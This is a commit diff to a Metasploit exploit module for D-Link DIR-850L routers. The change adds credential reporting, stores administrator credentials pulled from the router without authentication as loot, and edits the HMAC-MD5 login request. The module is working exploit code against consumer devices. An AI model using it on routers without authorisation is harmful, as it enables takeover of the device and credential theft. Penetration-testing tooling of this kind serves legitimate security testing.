download creds, stores in loot.

Author: Austin

modules/exploits/linux/http/dlink_850l_unauth_exec.rb

@@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer
   include Msf::Exploit::Remote::EXE
+  include Msf::Auxiliary::Report
   include Msf::Exploit::FileDropper
 
   def initialize(info = {})
@@ -54,6 +55,32 @@ def initialize(info = {})
       ])
   end
 
+  def report_cred(opts)
+    service_data = {
+      address: opts[:ip],
+      port: opts[:port],
+      service_name: opts[:service_name],
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: fullname,
+      username: opts[:user],
+      private_data: opts[:password],
+      private_type: :password
+    }.merge(service_data)
+
+    login_data = {
+      core: create_credential(credential_data),
+      status: Metasploit::Model::Login::Status::UNTRIED,
+      proof: opts[:proof]
+    }.merge(service_data)
+
+    create_credential_login(login_data)
+  end
+
   def retrieve_creds
     begin
       xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
@@ -79,6 +106,8 @@ def retrieve_creds
       username = parse.at('//name').text
       password = parse.at('//password').text
       vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
+      loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
+      print_good("#{peer} - Downloaded credentials to #{loot}")
       return username, password
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
@@ -104,7 +133,7 @@ def login(username, password)
     uid, challenge = retrieve_uid
     begin
       hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
-      res = send_request_cgi({
+      send_request_cgi({
         'uri' => '/authentication.cgi',
         'method' => 'POST',
         'data' => "id=#{username}&password=#{hash}",